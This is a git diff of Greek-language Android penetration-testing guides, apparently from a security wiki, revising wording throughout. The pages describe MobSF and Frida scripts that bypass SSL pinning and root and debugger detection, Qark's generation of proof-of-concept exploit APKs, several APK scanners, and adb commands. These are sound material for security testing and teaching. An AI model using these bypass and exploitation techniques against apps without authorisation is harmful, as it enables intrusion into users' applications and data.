Από προεπιλογή, θα χρησιμοποιήσει επίσης κάποια Frida Scripts για να **παρακάμψει το SSL pinning**, **ανίχνευση root** και **ανίχνευση debugger** και για να **παρακολουθήσει ενδιαφέροντα APIs**.\
|
||||
Από προεπιλογή, θα χρησιμοποιήσει επίσης κάποια Frida Scripts για να **παρακάμψει το SSL pinning**, **root detection** και **debugger detection** και για να **παρακολουθήσει ενδιαφέροντα APIs**.\
|
||||
Το MobSF μπορεί επίσης να **καλέσει εξαγόμενες δραστηριότητες**, να τραβήξει **screenshots** από αυτές και να τις **αποθηκεύσει** για την αναφορά.
|
||||
|
||||
Για να **ξεκινήσετε** τη δυναμική δοκιμή πατήστε το πράσινο κουμπί: "**Start Instrumentation**". Πατήστε το "**Frida Live Logs**" για να δείτε τα logs που δημιουργούνται από τα Frida scripts και το "**Live API Monitor**" για να δείτε όλες τις κλήσεις σε συνδεδεμένες μεθόδους, τα ορίσματα που περνιούνται και τις επιστρεφόμενες τιμές (αυτό θα εμφανιστεί μετά την πίεση του "Start Instrumentation").\
|
||||
Για να **ξεκινήσετε** τη δυναμική δοκιμή πατήστε το πράσινο κουμπί: "**Start Instrumentation**". Πατήστε το "**Frida Live Logs**" για να δείτε τα logs που δημιουργούνται από τα Frida scripts και το "**Live API Monitor**" για να δείτε όλες τις κλήσεις σε hooked methods, τα παρακάτω επιχειρήματα και τις επιστρεφόμενες τιμές (αυτό θα εμφανιστεί μετά την πίεση του "Start Instrumentation").\
|
||||
Το MobSF επιτρέπει επίσης να φορτώσετε τα δικά σας **Frida scripts** (για να στείλετε τα αποτελέσματα των scripts σας στο MobSF χρησιμοποιήστε τη λειτουργία `send()`). Έχει επίσης **πολλά προ-γραμμένα scripts** που μπορείτε να φορτώσετε (μπορείτε να προσθέσετε περισσότερα στο `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), απλά **επιλέξτε τα**, πατήστε "**Load**" και πατήστε "**Start Instrumentation**" (θα μπορείτε να δείτε τα logs αυτών των scripts μέσα στο "**Frida Live Logs**").
|
||||
|
||||
.png>)
|
||||
@ -553,7 +553,7 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
- **Capture String Comparisons**: Μπορεί να είναι πολύ χρήσιμο. Θα **δείξει τις 2 συμβολοσειρές που συγκρίνονται** και αν το αποτέλεσμα ήταν True ή False.
|
||||
- **Enumerate Class Methods**: Βάλτε το όνομα της κλάσης (όπως "java.io.File") και θα εκτυπώσει όλες τις μεθόδους της κλάσης.
|
||||
- **Search Class Pattern**: Αναζητήστε κλάσεις κατά μοτίβο
|
||||
- **Trace Class Methods**: **Trace** μια **ολόκληρη κλάση** (δείτε τις εισόδους και εξόδους όλων των μεθόδων της κλάσης). Θυμηθείτε ότι από προεπιλογή το MobSF παρακολουθεί πολλές ενδιαφέρουσες μεθόδους Android Api.
|
||||
- **Trace Class Methods**: **Trace** μια **ολόκληρη κλάση** (δείτε τις εισόδους και τις εξόδους όλων των μεθόδων της κλάσης). Θυμηθείτε ότι από προεπιλογή το MobSF παρακολουθεί πολλές ενδιαφέρουσες μεθόδους Android Api.
|
||||
|
||||
Αφού επιλέξετε το βοηθητικό module που θέλετε να χρησιμοποιήσετε, πρέπει να πατήσετε "**Start Intrumentation**" και θα δείτε όλες τις εξόδους στο "**Frida Live Logs**".
|
||||
|
||||
@ -595,7 +595,7 @@ receivers
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Αυτό το εργαλείο έχει σχεδιαστεί για να αναζητά αρκετές **ευπάθειες σχετικές με την ασφάλεια εφαρμογών Android**, είτε στον **κώδικα πηγής** είτε σε **πακεταρισμένα APKs**. Το εργαλείο είναι επίσης **ικανό να δημιουργεί ένα "Proof-of-Concept" αναπτυξιακό APK** και **εντολές ADB**, για να εκμεταλλευτεί κάποιες από τις ευπάθειες που βρέθηκαν (Εκτεθειμένες δραστηριότητες, intents, tapjacking...). Όπως και με το Drozer, δεν υπάρχει ανάγκη να κάνετε root τη συσκευή δοκιμής.
|
||||
Αυτό το εργαλείο έχει σχεδιαστεί για να αναζητά αρκετές **ευπάθειες σχετικές με την ασφάλεια εφαρμογών Android**, είτε στον **κώδικα πηγής** είτε σε **πακεταρισμένα APKs**. Το εργαλείο είναι επίσης **ικανό να δημιουργεί ένα "Proof-of-Concept" αναπτυξιμό APK** και **εντολές ADB**, για να εκμεταλλευτεί κάποιες από τις ευπάθειες που βρέθηκαν (Εκτεθειμένες δραστηριότητες, intents, tapjacking...). Όπως και με το Drozer, δεν υπάρχει ανάγκη να κάνετε root τη συσκευή δοκιμής.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -617,7 +617,7 @@ reverse-apk relative/path/to/APP.apk
|
||||
|
||||
Το SUPER είναι μια εφαρμογή γραμμής εντολών που μπορεί να χρησιμοποιηθεί σε Windows, MacOS X και Linux, η οποία αναλύει αρχεία _.apk_ αναζητώντας ευπάθειες. Το κάνει αυτό αποσυμπιέζοντας τα APK και εφαρμόζοντας μια σειρά κανόνων για να ανιχνεύσει αυτές τις ευπάθειες.
|
||||
|
||||
Όλοι οι κανόνες είναι κεντραρισμένοι σε ένα αρχείο `rules.json`, και κάθε εταιρεία ή δοκιμαστής θα μπορούσε να δημιουργήσει τους δικούς της κανόνες για να αναλύσει ό,τι χρειάζεται.
|
||||
Όλοι οι κανόνες είναι κεντραρισμένοι σε ένα αρχείο `rules.json`, και κάθε εταιρεία ή δοκιμαστής μπορεί να δημιουργήσει τους δικούς της κανόνες για να αναλύσει ό,τι χρειάζεται.
|
||||
|
||||
Κατεβάστε τα τελευταία δυαδικά από τη [σελίδα λήψης](https://superanalyzer.rocks/download.html)
|
||||
```
|
||||
@ -645,7 +645,7 @@ androbugs.exe -f [APK file]
|
||||
```
|
||||
### [Androwarn](https://github.com/maaaaz/androwarn)
|
||||
|
||||
**Androwarn** είναι ένα εργαλείο του οποίου ο κύριος στόχος είναι να ανιχνεύει και να προειδοποιεί τον χρήστη για πιθανές κακόβουλες συμπεριφορές που αναπτύσσονται από μια εφαρμογή Android.
|
||||
**Androwarn** είναι ένα εργαλείο του οποίου ο κύριος στόχος είναι να ανιχνεύσει και να προειδοποιήσει τον χρήστη για πιθανές κακόβουλες συμπεριφορές που αναπτύσσονται από μια εφαρμογή Android.
|
||||
|
||||
Η ανίχνευση πραγματοποιείται με την **στατική ανάλυση** του Dalvik bytecode της εφαρμογής, που αναπαρίσταται ως **Smali**, με τη βιβλιοθήκη [`androguard`](https://github.com/androguard/androguard).
|
||||
|
||||
@ -665,7 +665,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
- Αναλύει APKs χρησιμοποιώντας: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
- Εξάγει ιδιωτικές πληροφορίες από το APK χρησιμοποιώντας regexps.
|
||||
- Αναλύει το Manifest.
|
||||
- Αναλύει βρέθηκαν domains χρησιμοποιώντας: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) και [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- Αναλύει βρεθέντα domains χρησιμοποιώντας: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) και [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- Αποκωδικοποιεί APK μέσω [apk-deguard.com](http://www.apk-deguard.com)
|
||||
|
||||
### Koodous
|
||||
@ -678,7 +678,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||
|
||||
Από [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** είναι ένα εργαλείο γραμμής εντολών ανοιχτού κώδικα που μειώνει, βελτιστοποιεί και αποκρύπτει τον κώδικα Java. Είναι ικανό να βελτιστοποιεί τον bytecode καθώς και να ανιχνεύει και να αφαιρεί μη χρησιμοποιούμενες εντολές. Το ProGuard είναι δωρεάν λογισμικό και διανέμεται υπό την άδεια GNU General Public License, έκδοση 2.
|
||||
Από [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** είναι ένα εργαλείο γραμμής εντολών ανοιχτού κώδικα που μειώνει, βελτιστοποιεί και αποκρύπτει τον κώδικα Java. Είναι ικανό να βελτιστοποιεί bytecode καθώς και να ανιχνεύει και να αφαιρεί μη χρησιμοποιούμενες εντολές. Το ProGuard είναι δωρεάν λογισμικό και διανέμεται υπό την άδεια GNU General Public License, έκδοση 2.
|
||||
|
||||
Το ProGuard διανέμεται ως μέρος του Android SDK και εκτελείται κατά την κατασκευή της εφαρμογής σε λειτουργία κυκλοφορίας.
|
||||
|
||||
@ -688,15 +688,15 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
(Από αυτόν τον οδηγό) Την τελευταία φορά που ελέγξαμε, η λειτουργία του Dexguard ήταν:
|
||||
|
||||
- φορτώστε έναν πόρο ως InputStream;
|
||||
- φορτώστε μια πηγή ως InputStream;
|
||||
- τροφοδοτήστε το αποτέλεσμα σε μια κλάση που κληρονομεί από FilterInputStream για να το αποκρυπτογραφήσετε;
|
||||
- κάντε κάποια άχρηστη απόκρυψη για να σπαταλήσετε λίγα λεπτά χρόνου από έναν αναλυτή;
|
||||
- τροφοδοτήστε το αποκρυπτογραφημένο αποτέλεσμα σε ένα ZipInputStream για να αποκτήσετε ένα αρχείο DEX;
|
||||
- τελικά φορτώστε το προκύπτον DEX ως Πόρο χρησιμοποιώντας τη μέθοδο `loadDex`.
|
||||
- τελικά φορτώστε το προκύπτον DEX ως Πηγή χρησιμοποιώντας τη μέθοδο `loadDex`.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**Το DeGuard αντιστρέφει τη διαδικασία απόκρυψης που εκτελούν τα εργαλεία απόκρυψης Android. Αυτό επιτρέπει πολλές αναλύσεις ασφάλειας, συμπεριλαμβανομένης της επιθεώρησης κώδικα και της πρόβλεψης βιβλιοθηκών.**
|
||||
**Το DeGuard αντιστρέφει τη διαδικασία απόκρυψης που εκτελούν τα εργαλεία απόκρυψης του Android. Αυτό επιτρέπει πολλές αναλύσεις ασφάλειας, συμπεριλαμβανομένης της επιθεώρησης κώδικα και της πρόβλεψης βιβλιοθηκών.**
|
||||
|
||||
Μπορείτε να ανεβάσετε ένα αποκρυπτογραφημένο APK στην πλατφόρμα τους.
|
||||
|
||||
@ -706,11 +706,11 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
Είναι ένα **γενικό αποκρυπτογραφητή android.** Το Simplify **εκτελεί εικονικά μια εφαρμογή** για να κατανοήσει τη συμπεριφορά της και στη συνέχεια **προσπαθεί να βελτιστοποιήσει τον κώδικα** ώστε να συμπεριφέρεται ταυτόχρονα αλλά να είναι πιο εύκολο για έναν άνθρωπο να κατανοήσει. Κάθε τύπος βελτιστοποίησης είναι απλός και γενικός, οπότε δεν έχει σημασία ποιος είναι ο συγκεκριμένος τύπος απόκρυψης που χρησιμοποιείται.
|
||||
Είναι ένα **γενικό εργαλείο αποκωδικοποίησης android.** Το Simplify **εκτελεί εικονικά μια εφαρμογή** για να κατανοήσει τη συμπεριφορά της και στη συνέχεια **προσπαθεί να βελτιστοποιήσει τον κώδικα** έτσι ώστε να συμπεριφέρεται ταυτόχρονα αλλά να είναι πιο εύκολο για έναν άνθρωπο να κατανοήσει. Κάθε τύπος βελτιστοποίησης είναι απλός και γενικός, οπότε δεν έχει σημασία ποιος είναι ο συγκεκριμένος τύπος απόκρυψης που χρησιμοποιείται.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
Το APKiD σας δίνει πληροφορίες σχετικά με **πώς δημιουργήθηκε ένα APK**. Αναγνωρίζει πολλούς **μεταγλωττιστές**, **πακεταριστές**, **αποκρυπτογραφητές** και άλλα περίεργα πράγματα. Είναι το [_PEiD_](https://www.aldeid.com/wiki/PEiD) για Android.
|
||||
Το APKiD σας δίνει πληροφορίες για **το πώς δημιουργήθηκε ένα APK**. Αναγνωρίζει πολλούς **μεταγλωττιστές**, **πακεταριστές**, **εργαλεία απόκρυψης** και άλλα περίεργα πράγματα. Είναι το [_PEiD_](https://www.aldeid.com/wiki/PEiD) για το Android.
|
||||
|
||||
### Manual
|
||||
|
||||
|
||||
@ -12,7 +12,7 @@ C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe
|
||||
```
|
||||
adb devices
|
||||
```
|
||||
Αυτό θα καταγράψει τις συνδεδεμένες συσκευές. Αν εμφανιστεί το "_**μη εξουσιοδοτημένο**_", αυτό σημαίνει ότι πρέπει να **ξεκλειδώσετε** το **κινητό** σας και να **αποδεχθείτε** τη σύνδεση.
|
||||
Αυτό θα καταγράψει τις συνδεδεμένες συσκευές. Αν εμφανιστεί το "_**μη εξουσιοδοτημένο**_", αυτό σημαίνει ότι πρέπει να **ξεκλειδώσετε** το **κινητό** σας και να **αποδεχτείτε** τη σύνδεση.
|
||||
|
||||
Αυτό υποδεικνύει στη συσκευή ότι πρέπει να ξεκινήσει έναν adb server στη θύρα 5555:
|
||||
```
|
||||
@ -159,7 +159,7 @@ adb shell
|
||||
```
|
||||
### adb shell \<CMD>
|
||||
|
||||
Εκτελέστε μια εντολή μέσα στη συσκευή
|
||||
Εκτέλεση μιας εντολής μέσα στη συσκευή
|
||||
```bash
|
||||
adb shell ls
|
||||
```
|
||||
@ -196,7 +196,7 @@ adb root
|
||||
```bash
|
||||
adb sideload <update.zip>
|
||||
```
|
||||
flashing/restoring Android update.zip πακέτα.
|
||||
flashing/restoring Android update.zip packages.
|
||||
|
||||
# Logs
|
||||
|
||||
@ -257,7 +257,7 @@ adb shell dumpsys meminfo
|
||||
|
||||
adb shell dumpsys battery
|
||||
```
|
||||
Σημειώσεις: Μια κινητή συσκευή με ενεργοποιημένες τις Επιλογές Προγραμματιστή που τρέχει Android 5.0 ή υψηλότερη έκδοση.
|
||||
Σημειώσεις: Μια κινητή συσκευή με ενεργοποιημένες τις Επιλογές προγραμματιστή που τρέχει Android 5.0 ή υψηλότερη έκδοση.
|
||||
```bash
|
||||
adb shell dumpsys batterystats collects battery data from your device
|
||||
```
|
||||
|
||||
@ -20,12 +20,12 @@
|
||||
|
||||
### Sandbox
|
||||
|
||||
Η **Sandbox Εφαρμογών Android** επιτρέπει να εκτελούνται **κάθε εφαρμογή** ως **ξεχωριστή διαδικασία υπό μια ξεχωριστή ταυτότητα χρήστη**. Κάθε διαδικασία έχει τη δική της εικονική μηχανή, έτσι ο κώδικας μιας εφαρμογής εκτελείται απομονωμένος από άλλες εφαρμογές.\
|
||||
Η **Sandbox Εφαρμογών Android** επιτρέπει να εκτελούνται **κάθε εφαρμογή** ως **ξεχωριστή διαδικασία υπό μια ξεχωριστή Ταυτότητα Χρήστη**. Κάθε διαδικασία έχει τη δική της εικονική μηχανή, έτσι ο κώδικας μιας εφαρμογής εκτελείται απομονωμένος από άλλες εφαρμογές.\
|
||||
Από το Android 5.0(L) **επιβάλλεται το SELinux**. Βασικά, το SELinux αρνείται όλες τις αλληλεπιδράσεις διαδικασιών και στη συνέχεια δημιουργεί πολιτικές για **να επιτρέπει μόνο τις αναμενόμενες αλληλεπιδράσεις μεταξύ τους**.
|
||||
|
||||
### Άδειες
|
||||
|
||||
Όταν εγκαθιστάτε μια **εφαρμογή και ζητά άδειες**, η εφαρμογή ζητά τις άδειες που έχουν ρυθμιστεί στα στοιχεία **`uses-permission`** στο αρχείο **AndroidManifest.xml**. Το στοιχείο **uses-permission** υποδεικνύει το όνομα της ζητούμενης άδειας μέσα στο **attribute name**. Έχει επίσης το **maxSdkVersion** attribute που σταματά να ζητά άδειες σε εκδόσεις υψηλότερες από αυτή που έχει καθοριστεί.\
|
||||
Όταν εγκαθιστάτε μια **εφαρμογή και ζητά άδειες**, η εφαρμογή ζητά τις άδειες που έχουν ρυθμιστεί στα στοιχεία **`uses-permission`** στο αρχείο **AndroidManifest.xml**. Το στοιχείο **uses-permission** υποδεικνύει το όνομα της ζητούμενης άδειας μέσα στο **attribute name**. Έχει επίσης το **maxSdkVersion** attribute που σταματά να ζητά άδειες σε εκδόσεις υψηλότερες από αυτήν που έχει καθοριστεί.\
|
||||
Σημειώστε ότι οι εφαρμογές Android δεν χρειάζεται να ζητούν όλες τις άδειες στην αρχή, μπορούν επίσης να **ζητούν άδειες δυναμικά**, αλλά όλες οι άδειες πρέπει να είναι **δηλωμένες** στο **μανιφέστο**.
|
||||
|
||||
Όταν μια εφαρμογή εκθέτει λειτουργικότητα, μπορεί να περιορίσει την **πρόσβαση μόνο σε εφαρμογές που έχουν μια συγκεκριμένη άδεια**.\
|
||||
@ -37,7 +37,7 @@
|
||||
- **Normal**: Χρησιμοποιείται όταν δεν υπάρχουν **γνωστές απειλές** για την εφαρμογή. Ο χρήστης **δεν απαιτείται να την εγκρίνει**.
|
||||
- **Dangerous**: Υποδεικνύει ότι η άδεια παρέχει στην αιτούμενη εφαρμογή κάποια **υψηλή πρόσβαση**. **Οι χρήστες ζητούνται να τις εγκρίνουν**.
|
||||
- **Signature**: Μόνο **εφαρμογές που έχουν υπογραφεί με το ίδιο πιστοποιητικό με αυτό που εξάγει το στοιχείο** μπορούν να λάβουν άδεια. Αυτός είναι ο ισχυρότερος τύπος προστασίας.
|
||||
- **SignatureOrSystem**: Μόνο **εφαρμογές που έχουν υπογραφεί με το ίδιο πιστοποιητικό με αυτό που εξάγει το στοιχείο ή **εφαρμογές που εκτελούνται με πρόσβαση επιπέδου συστήματος** μπορούν να λάβουν άδειες.
|
||||
- **SignatureOrSystem**: Μόνο **εφαρμογές που έχουν υπογραφεί με το ίδιο πιστοποιητικό με αυτό που εξάγει το στοιχείο ή **εφαρμογές που εκτελούνται με πρόσβαση σε επίπεδο συστήματος** μπορούν να λάβουν άδειες.
|
||||
|
||||
## Προεγκατεστημένες Εφαρμογές
|
||||
|
||||
@ -59,10 +59,10 @@
|
||||
|
||||
### ROMs
|
||||
|
||||
Είναι δυνατή η **αντικατάσταση του OS εγκαθιστώντας ένα προσαρμοσμένο firmware**. Κάνοντας αυτό, είναι δυνατό να επεκταθεί η χρησιμότητα μιας παλιάς συσκευής, να παρακαμφθούν οι περιορισμοί λογισμικού ή να αποκτηθεί πρόσβαση στον τελευταίο κώδικα Android.\
|
||||
Είναι δυνατόν να **αντικαταστήσετε το OS εγκαθιστώντας ένα προσαρμοσμένο firmware**. Κάνοντας αυτό, είναι δυνατό να επεκτείνετε τη χρησιμότητα μιας παλιάς συσκευής, να παρακάμψετε περιορισμούς λογισμικού ή να αποκτήσετε πρόσβαση στον τελευταίο κώδικα Android.\
|
||||
**OmniROM** και **LineageOS** είναι δύο από τα πιο δημοφιλή firmware που χρησιμοποιούνται.
|
||||
|
||||
Σημειώστε ότι **δεν είναι πάντα απαραίτητο να κάνετε root τη συσκευή** για να εγκαταστήσετε ένα προσαρμοσμένο firmware. **Ορισμένοι κατασκευαστές επιτρέπουν** την ξεκλείδωσή των bootloaders τους με έναν καλά τεκμηριωμένο και ασφαλή τρόπο.
|
||||
Σημειώστε ότι **δεν είναι πάντα απαραίτητο να κάνετε root τη συσκευή** για να εγκαταστήσετε ένα προσαρμοσμένο firmware. **Ορισμένοι κατασκευαστές επιτρέπουν** την ξεκλείδωσή των bootloaders τους με καλά τεκμηριωμένο και ασφαλή τρόπο.
|
||||
|
||||
### Επιπτώσεις
|
||||
|
||||
@ -79,7 +79,7 @@
|
||||
- META-INF/
|
||||
- Εδώ βρίσκεται το Πιστοποιητικό!
|
||||
- **classes.dex**
|
||||
- Περιέχει τον bytecode Dalvik, που αντιπροσωπεύει τον μεταγλωττισμένο κώδικα Java (ή Kotlin) που εκτελεί η εφαρμογή από προεπιλογή.
|
||||
- Περιέχει Dalvik bytecode, που αντιπροσωπεύει τον μεταγλωττισμένο κώδικα Java (ή Kotlin) που εκτελεί η εφαρμογή από προεπιλογή.
|
||||
- lib/
|
||||
- Περιέχει εγγενείς βιβλιοθήκες, διαχωρισμένες κατά αρχιτεκτονική CPU σε υποκαταλόγους.
|
||||
- `armeabi`: κώδικας για επεξεργαστές ARM
|
||||
@ -93,7 +93,7 @@
|
||||
|
||||
### **Dalvik & Smali**
|
||||
|
||||
Στην ανάπτυξη Android, χρησιμοποιείται **Java ή Kotlin** για τη δημιουργία εφαρμογών. Αντί να χρησιμοποιεί την JVM όπως στις επιτραπέζιες εφαρμογές, το Android μεταγλωττίζει αυτόν τον κώδικα σε **Dalvik Executable (DEX) bytecode**. Παλαιότερα, η εικονική μηχανή Dalvik χειριζόταν αυτόν τον bytecode, αλλά τώρα, η Android Runtime (ART) αναλαμβάνει σε νεότερες εκδόσεις Android.
|
||||
Στην ανάπτυξη Android, χρησιμοποιείται **Java ή Kotlin** για τη δημιουργία εφαρμογών. Αντί να χρησιμοποιεί την JVM όπως στις επιτραπέζιες εφαρμογές, το Android μεταγλωττίζει αυτόν τον κώδικα σε **Dalvik Executable (DEX) bytecode**. Παλαιότερα, η εικονική μηχανή Dalvik χειριζόταν αυτόν τον bytecode, αλλά τώρα, το Android Runtime (ART) αναλαμβάνει σε νεότερες εκδόσεις Android.
|
||||
|
||||
Για την αντίστροφη μηχανική, το **Smali** γίνεται κρίσιμο. Είναι η αναγνώσιμη από άνθρωπο έκδοση του DEX bytecode, λειτουργώντας σαν γλώσσα συναρμολόγησης μεταφράζοντας τον πηγαίο κώδικα σε εντολές bytecode. Το Smali και το baksmali αναφέρονται στα εργαλεία συναρμολόγησης και αποσυναρμολόγησης σε αυτό το πλαίσιο.
|
||||
|
||||
@ -110,7 +110,7 @@
|
||||
- Για να αποκτήσει πρόσβαση σε δεδομένα μέσω ContentProviders
|
||||
- Ως callbacks για να χειριστεί γεγονότα
|
||||
|
||||
Αν είναι ευάλωτα, **τα Intents μπορούν να χρησιμοποιηθούν για να εκτελέσουν μια ποικιλία επιθέσεων**.
|
||||
Αν είναι ευάλωτα, **τα Intents μπορούν να χρησιμοποιηθούν για την εκτέλεση ποικιλίας επιθέσεων**.
|
||||
|
||||
### Intent-Filter
|
||||
|
||||
@ -118,7 +118,7 @@
|
||||
|
||||
Τα Intent Filters αποτελούνται από κατηγορίες, ενέργειες και φίλτρα δεδομένων, με τη δυνατότητα να περιλαμβάνουν επιπλέον μεταδεδομένα. Αυτή η ρύθμιση επιτρέπει στα στοιχεία να χειρίζονται συγκεκριμένα Intents που ταιριάζουν με τα δηλωμένα κριτήρια.
|
||||
|
||||
Ένας κρίσιμος τομέας των στοιχείων Android (δραστηριότητες/υπηρεσίες/παρόχοι περιεχομένου/δέκτες ραδιοφωνικών εκπομπών) είναι η ορατότητά τους ή η **δημόσια κατάσταση**. Ένα στοιχείο θεωρείται δημόσιο και μπορεί να αλληλεπιδράσει με άλλες εφαρμογές αν είναι **`exported`** με τιμή **`true`** ή αν έχει δηλωθεί ένα Intent Filter γι' αυτό στο μανιφέστο. Ωστόσο, υπάρχει τρόπος για τους προγραμματιστές να κρατήσουν αυτά τα στοιχεία ιδιωτικά, διασφαλίζοντας ότι δεν αλληλεπιδρούν με άλλες εφαρμογές κατά λάθος. Αυτό επιτυγχάνεται ρυθμίζοντας το **`exported`** attribute σε **`false`** στις δηλώσεις μανιφέστου τους.
|
||||
Μια κρίσιμη πτυχή των στοιχείων Android (δραστηριότητες/υπηρεσίες/παρόχοι περιεχομένου/δέκτες ραδιοφωνικών εκπομπών) είναι η ορατότητά τους ή η **δημόσια κατάσταση**. Ένα στοιχείο θεωρείται δημόσιο και μπορεί να αλληλεπιδράσει με άλλες εφαρμογές αν είναι **`exported`** με τιμή **`true`** ή αν έχει δηλωθεί ένα Intent Filter γι' αυτό στο μανιφέστο. Ωστόσο, υπάρχει τρόπος για τους προγραμματιστές να κρατήσουν αυτά τα στοιχεία ιδιωτικά, διασφαλίζοντας ότι δεν αλληλεπιδρούν με άλλες εφαρμογές κατά λάθος. Αυτό επιτυγχάνεται ρυθμίζοντας το **`exported`** attribute σε **`false`** στις δηλώσεις μανιφέστου τους.
|
||||
|
||||
Επιπλέον, οι προγραμματιστές έχουν τη δυνατότητα να ασφαλίσουν περαιτέρω την πρόσβαση σε αυτά τα στοιχεία απαιτώντας συγκεκριμένες άδειες. Το **`permission`** attribute μπορεί να ρυθμιστεί ώστε να επιβάλλει ότι μόνο οι εφαρμογές με την καθορισμένη άδεια μπορούν να έχουν πρόσβαση στο στοιχείο, προσθέτοντας ένα επιπλέον επίπεδο ασφάλειας και ελέγχου σχετικά με το ποιος μπορεί να αλληλεπιδράσει με αυτό.
|
||||
```java
|
||||
@ -145,15 +145,15 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
Ένα intent-filter πρέπει να ταιριάζει με την **ενέργεια**, **δεδομένα** και **κατηγορία** για να λάβει ένα μήνυμα.
|
||||
|
||||
Η διαδικασία "λύσης intent" καθορίζει ποια εφαρμογή θα λάβει κάθε μήνυμα. Αυτή η διαδικασία εξετάζει το **χαρακτηριστικό προτεραιότητας**, το οποίο μπορεί να οριστεί στην **δήλωση intent-filter**, και **αυτό με την υψηλότερη προτεραιότητα θα επιλεγεί**. Αυτή η προτεραιότητα μπορεί να οριστεί μεταξύ -1000 και 1000 και οι εφαρμογές μπορούν να χρησιμοποιήσουν την τιμή `SYSTEM_HIGH_PRIORITY`. Εάν προκύψει μια **σύγκρουση**, εμφανίζεται ένα παράθυρο "chooser" ώστε ο **χρήστης να αποφασίσει**.
|
||||
Η διαδικασία "Επίλυσης Intent" καθορίζει ποια εφαρμογή θα λάβει κάθε μήνυμα. Αυτή η διαδικασία εξετάζει το **χαρακτηριστικό προτεραιότητας**, το οποίο μπορεί να οριστεί στην **δήλωση intent-filter**, και **αυτό με την υψηλότερη προτεραιότητα θα επιλεγεί**. Αυτή η προτεραιότητα μπορεί να οριστεί μεταξύ -1000 και 1000 και οι εφαρμογές μπορούν να χρησιμοποιήσουν την τιμή `SYSTEM_HIGH_PRIORITY`. Εάν προκύψει μια **σύγκρουση**, εμφανίζεται ένα παράθυρο "chooser" ώστε ο **χρήστης να αποφασίσει**.
|
||||
|
||||
### Explicit Intents
|
||||
### Ρητές Intents
|
||||
|
||||
Ένα explicit intent καθορίζει το όνομα της κλάσης που στοχεύει:
|
||||
Μια ρητή πρόθεση καθορίζει το όνομα της κλάσης που στοχεύει:
|
||||
```java
|
||||
Intent downloadIntent = new (this, DownloadService.class):
|
||||
```
|
||||
Σε άλλες εφαρμογές, προκειμένου να αποκτήσετε πρόσβαση στην προηγουμένως δηλωμένη πρόθεση, μπορείτε να χρησιμοποιήσετε:
|
||||
Σε άλλες εφαρμογές, για να αποκτήσετε πρόσβαση στην προηγουμένως δηλωμένη πρόθεση, μπορείτε να χρησιμοποιήσετε:
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.other.app", "com.other.app.ServiceName");
|
||||
@ -169,14 +169,14 @@ context.startService(intent);
|
||||
|
||||
Εναλλακτικά, είναι επίσης δυνατό να **καθοριστεί μια άδεια κατά την αποστολή του broadcast**. Η εφαρμογή παραλήπτης θα χρειαστεί να έχει αυτή την άδεια.
|
||||
|
||||
Υπάρχουν **δύο τύποι** Broadcasts: **Normal** (ασύγχρονα) και **Ordered** (συγχρονισμένα). Η **σειρά** βασίζεται στην **καθορισμένη προτεραιότητα εντός του στοιχείου παραλήπτη**. **Κάθε εφαρμογή μπορεί να επεξεργαστεί, να μεταφέρει ή να απορρίψει το Broadcast.**
|
||||
Υπάρχουν **δύο τύποι** Broadcasts: **Normal** (ασύγχρονα) και **Ordered** (συγχρονισμένα). Η **σειρά** βασίζεται στην **καθορισμένη προτεραιότητα μέσα στο στοιχείο παραλήπτη**. **Κάθε εφαρμογή μπορεί να επεξεργαστεί, να μεταφέρει ή να απορρίψει το Broadcast.**
|
||||
|
||||
Είναι δυνατό να **σταλεί** ένα **broadcast** χρησιμοποιώντας τη λειτουργία `sendBroadcast(intent, receiverPermission)` από την κλάση `Context`.\
|
||||
Μπορείτε επίσης να χρησιμοποιήσετε τη λειτουργία **`sendBroadcast`** από τον **`LocalBroadCastManager`** που διασφαλίζει ότι το **μήνυμα δεν θα φύγει ποτέ από την εφαρμογή**. Χρησιμοποιώντας αυτό, δεν θα χρειαστεί καν να εξάγετε ένα συστατικό παραλήπτη.
|
||||
|
||||
### Sticky Broadcasts
|
||||
|
||||
Αυτού του είδους οι Broadcasts **μπορούν να προσπελαστούν πολύ μετά την αποστολή τους**.\
|
||||
Αυτού του είδους τα Broadcasts **μπορούν να προσπελαστούν πολύ μετά την αποστολή τους**.\
|
||||
Αυτά καταργήθηκαν στην έκδοση API 21 και συνιστάται να **μην τα χρησιμοποιείτε**.\
|
||||
**Επιτρέπουν σε οποιαδήποτε εφαρμογή να υποκλέψει τα δεδομένα, αλλά και να τα τροποποιήσει.**
|
||||
|
||||
@ -184,7 +184,7 @@ context.startService(intent);
|
||||
|
||||
## Deep links / URL schemes
|
||||
|
||||
